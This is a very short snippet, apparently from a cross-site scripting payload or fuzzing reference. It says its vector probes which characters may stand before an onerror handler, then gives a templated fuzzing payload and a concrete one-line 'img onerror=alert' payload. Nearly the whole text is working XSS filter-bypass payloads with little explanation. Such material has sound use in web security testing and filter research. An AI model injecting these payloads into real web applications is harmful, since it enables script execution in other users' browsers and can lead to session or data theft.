This XSS vector shows what characters can be used before the onerror event.
<$[chr]img src onerror=log($[i])>
<<img src onerror=alert(60)>